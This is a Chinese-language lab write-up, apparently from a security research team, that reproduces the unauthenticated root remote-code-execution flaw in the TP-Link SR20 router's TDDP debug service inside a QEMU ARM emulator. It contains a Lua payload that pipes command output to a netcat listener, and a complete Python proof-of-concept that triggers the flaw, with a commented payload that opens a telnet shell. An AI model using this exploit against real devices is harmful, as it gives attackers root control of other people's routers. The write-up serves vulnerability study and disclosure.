作者:xax007@知道创宇404 ScanV 安全服务团队
作者博客:https://xax007.github.io

简述

3月26号 Google 安全开发人员 Matthew Garrett在 Twitter 上公布了 TP-Link Smart Home Router (SR20) 的远程代码执行漏洞,公布的原因是他去年 12 月份将相关漏洞报告提交给 TP-Link后没有收到任何回复,于是就公开了,该漏洞截至目前官方修复,在最新固件中漏洞仍然存在,属于 0day 漏洞,当我看到漏洞证明代码(POC)后决定尝试重现此漏洞

img

TP-Link SR20 是一款支持 Zigbee 和 Z-Wave 物联网协议可以用来当控制中枢 Hub 的触屏 Wi-Fi 路由器,此远程代码执行漏洞允许用户在设备上以 root 权限执行任意命令,该漏洞存在于 TP-Link 设备调试协议(TP-Link Device Debug Protocol 英文简称 TDDP) 中,TDDP 是 TP-Link 申请了专利的调试协议,基于 UDP 运行在 1040 端口

TP-Link SR20 设备运行了 V1 版本的 TDDP 协议,V1 版本无需认证,只需往 SR20 设备的 UDP 1040 端口发送数据,且数据的第二字节为 0x31 时,SR20 设备会连接发送该请求设备的 TFTP 服务下载相应的文件并使用 LUA 解释器以 root 权限来执行,这就导致存在远程代码执行漏洞

img

漏洞环境搭建

以下所有操作都在 Ubuntu LTS 18.04 系统下进行

源码编译 QEMU

Qemu 是纯软件实现的虚拟化模拟器,几乎可以模拟任何硬件设备,我们最熟悉的就是能够模拟一台能够独立运行操作系统的虚拟机

APT 仓库有 QEMU,本可以使用 APT apt install qemu 直接安装,但 APT 仓库中的版本通常都不是最新的,担心会有未知的 bug,因此选择从 QEMU 官网下载最新稳定版源码来编译安装

$ wget https://download.qemu.org/qemu-3.1.0.tar.xz # 下载源码
$ tar xvJf qemu-4.0.0-rc1.tar.xz #解压源码压缩包
$ cd qemu-4.0.0-rc1 # 进入源码目录
$ ./configure --target-list=arm-softmmu --audio-drv-list=alsa,pa # 编译前配置
$ make # 编译

如果 configure 时没有指定 target-list参数,make 会编译针对所有平台的 QEMU 导致会耗很长很长的时间,因此可以选择只编译 ARM 版的 QEMU 来加快编译速度,至于选择 ARM 版是因为 TP-Link SR20 存在漏洞的固件基于是 ARM 架构,下文中会看到。

编译完成后安装 checkinstall 来生成 deb 包

$ sudo apt-get install checkinstall # 安装 checkinstall
$ sudo checkinstall make install    # 使用 checkinstall 生成 deb 包并安装

如果不使用 checkinstall,直接sudo make install的会把 qemu 安装在多个位置,如果发生错误不方便删除,所以使用 checkinstall 生成 deb 包方便安装和卸载。

安装完成后可以看到安装的版本

img

安装 Binwalk

Binwalk 是一款文件的分析工具,旨在协助研究人员对文件进行分析,提取及逆向工程

$ sudo apt install git
$ git clone https://github.com/ReFirmLabs/binwalk
$ cd binwalk
$ python setup.py install
$ sudo ./deps.sh $ Debian/Ubuntu 系统用户可以直接使用 deps.sh 脚本安装所有的依赖

更详细的安装方法可以查看 Binwalk 的 GitHub wiki

PS: 本人在最后一步运行deps.sh安装依赖的时 cramfstools 编译出错导致安装失败,如果你也遇到这个问题,不必理会,因为针对本文讲述的漏洞,这个包并不需要安装

从固件提取文件系统

从 TP-Link SR20 设备官网下载固件, 下载下来是一个 zip 压缩包,解压以后进入解压后目录,可以看到一个名字很长的叫 tpra_sr20v1_us-up-ver1-2-1-P522_20180518-rel77140_2018-05-21_08.42.04.bin 的文件,这个就是该 SR20 设备的 firmware (固件)

使用 binwalk 查看该固件

img

使用 binwalk 把 Squashfs filesystem 从固件中提取出来,在固件 bin 文件所在目录执行

$ binwalk -Me tpra_sr20v1_us-up-ver1-2-1-P522_20180518-rel77140_2018-05-21_08.42.04.bin

binwalk 会在当前目录的 _+bin文件名 目录下生成提取出来的固件里的所有内容,进入到该目录

img

squashfs-root 目录就是我们需要的固件文件系统

img

在该文件系统目录下查找存在漏洞的 tddp 文件并查看文件类型可以看到该文件是一个 ARM 架构的小端(Small-Endian)32 位 ELF 文件

img

最高有效位 MSB(Most Significant Bit) 对应大端 (Big-endian)
最低有效位 LSB(Least Significant Bit) 对应小端 (Little-endian)
详细介绍可阅读:大端小端与MSB和LSB

这时可以使用 QEMU 来运行该文件

$ qemu-arm -L . ./usr/bin/tddp

PS: 不加 -L . 参数运行 qemu-arm 会报错, -L . 参数会把当前目录加入到 PATH 路径中

img

经过测试发现通过这种方式运行 TDDP 程序并不能触发该漏洞,因此需要搭建完整的 ARM QEMU 虚拟机环境

搭建 ARM QEMU 虚拟机环境

ARM CPU 有两个矢量浮点(软浮点和硬浮点)具体区别可以查看 Stackoverflow,本次选择使用硬浮点 armhf

从 Debian 官网下载 QEMU 需要的 Debian ARM 系统的三个文件:

  • debian_wheezy_armhf_standard.qcow2 2013-12-17 00:04 229M
  • initrd.img-3.2.0-4-vexpress 2013-12-17 01:57 2.2M
  • vmlinuz-3.2.0-4-vexpress 2013-09-20 18:33 1.9M

把以上三个文件放在同一个目录执行以下命令

$ sudo tunctl -t tap0 -u `whoami`  # 为了与 QEMU 虚拟机通信,添加一个虚拟网卡
$ sudo ifconfig tap0 10.10.10.1/24 # 为添加的虚拟网卡配置 IP 地址
$ qemu-system-arm -M vexpress-a9 -kernel vmlinuz-3.2.0-4-vexpress -initrd initrd.img-3.2.0-4-vexpress -drive if=sd,file=debian_wheezy_armhf_standard.qcow2 -append "root=/dev/mmcblk0p2 console=ttyAMA0" -net nic -net tap,ifname=tap0,script=no,downscript=no -nographic

img

img

虚拟机启动成功后会提示登陆

用户名和密码都为 root

img

配置网卡IP

ifconfig eth0 10.10.10.2/24

img

此时 QEMU 虚拟机可以与宿主机进行网络通信

现在需要把从固件中提取出的文件系统打包后上传到 QEMU 虚拟机中

压缩固件文件系统目录下的整个文件

$ tar -cjpf squashfs-root.tar.bz2 squashfs-root/

使用 Python 搭建简易 HTTP Server

$ python -m SimpleHTTPServer

在 QEMU 虚拟机中下载上面打包好的文件

$  wget http://10.10.10.1:8000/squashfs-root.tar.bz2

img

使用 chroot 切换根目录固件文件系统

$ mount -o bind /dev ./squashfs-root/dev/
$ mount -t proc /proc/ ./squashfs-root/proc/
$ chroot squashfs-root sh # 切换根目录后执行新目录结构下的 sh shell

PS: 使用 chroot 后,系统读取的是新根下的目录和文件,也就是固件的目录和文件 chroot 默认不会切换 /dev 和 /proc, 因此切换根目录前需要现挂载这两个目录

img

如果你有树莓派,可以直接拿来用,几年前买过一个树莓派2B+,经过我的测试,安装了 Raspbian 的树莓派完全可以拿做做 ARM 的测试环境

img

img

搭建 TFTP Server

在宿主机安装 atftpd 搭建 TFTP 服务

$ sudo apt install atftpd
  • 编辑 /etc/default/atftpd 文件,USE_INETD=true 改为 USE_INETD=false
  • 修改 /srv/tftp/tftpboot

最终 /etc/default/atftpd 文件内容如下:

USE_INETD=false
# OPTIONS below are used only with init script
OPTIONS="--tftpd-timeout 300 --retry-timeout 5 --mcast-port 1758 --mcast-addr 239.239.239.0-255 --mcast-ttl 1 --maxthread 100 --verbose=5 /tftpboot"
$ mkdir /tftpboot
$ chmod 777 /tftpboot
$ sudo systemctl start atftpd # 启动 atftpd

如果执行命令 sudo systemctl status atftpd 查看 atftpd 服务状态时

提示 atftpd: can't bind port :69/udp 无法绑定端口

可以执行 sudo systemctl stop inetutils-inetd.service 停用 inetutils-inetd 服务后

再执行 sudo systemctl restart atftpd 重新启动 atftpd 即可正常运行 atftpd

img

此时环境已搭建完毕

重现漏洞

在 atftp 的根目录 /tftpboot 下写入 payload 文件

payload 文件内容为:

function config_test(config)
  os.execute("id | nc 10.10.10.1 1337")
end

img

重现步骤为:

  1. QEMU 虚拟机中启动 tddp 程序
  2. 宿主机使用 NC 监听端口
  3. 执行 POC,获取命令执行结果

漏洞证明代码(Proof of concept):

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
#!/usr/bin/python3

# Copyright 2019 Google LLC.
# SPDX-License-Identifier: Apache-2.0

# Create a file in your tftp directory with the following contents:
#
#function config_test(config)
#  os.execute("telnetd -l /bin/login.sh")
#end
#
# Execute script as poc.py remoteaddr filename

import sys
import binascii
import socket

port_send = 1040
port_receive = 61000

tddp_ver = "01"
tddp_command = "31"
tddp_req = "01"
tddp_reply = "00"
tddp_padding = "%0.16X" % 00

tddp_packet = "".join([tddp_ver, tddp_command, tddp_req, tddp_reply, tddp_padding])

sock_receive = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock_receive.bind(('', port_receive))

# Send a request
sock_send = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
packet = binascii.unhexlify(tddp_packet)
argument = "%s;arbitrary" % sys.argv[2]
packet = packet + argument.encode()
sock_send.sendto(packet, (sys.argv[1], port_send))
sock_send.close()

response, addr = sock_receive.recvfrom(1024)
r = response.encode('hex')
print(r)

最终成功重现此漏洞

img

img

参考链接 4 中说到 TP-Link 的 TL-WA5210g 无线路由器的 TDDP 服务只能通过有线网络访问,连 Wi-Fi 也不能访问,由于手上没有 SR20设备,因此断定该 SR20 设备的 TDDP 端口可能也是这种情况,我想这应该就是官方未修复此漏洞的原因吧

参考链接 4 中详细介绍 TDDP 协议以及该协议 V1 和 V 2版本的区别等知识点

最后感谢知道创宇404实验室 @fenix 大佬的指点

参考链接

  1. Remote code execution as root from the local network on TP-Link SR20 routers
  2. How to set up QEMU 3.0 on Ubuntu 18.04
  3. Vivotek 摄像头远程栈溢出漏洞分析及利用
  4. 一个针对TP-Link调试协议(TDDP)漏洞挖掘的故事

Paper 本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/879/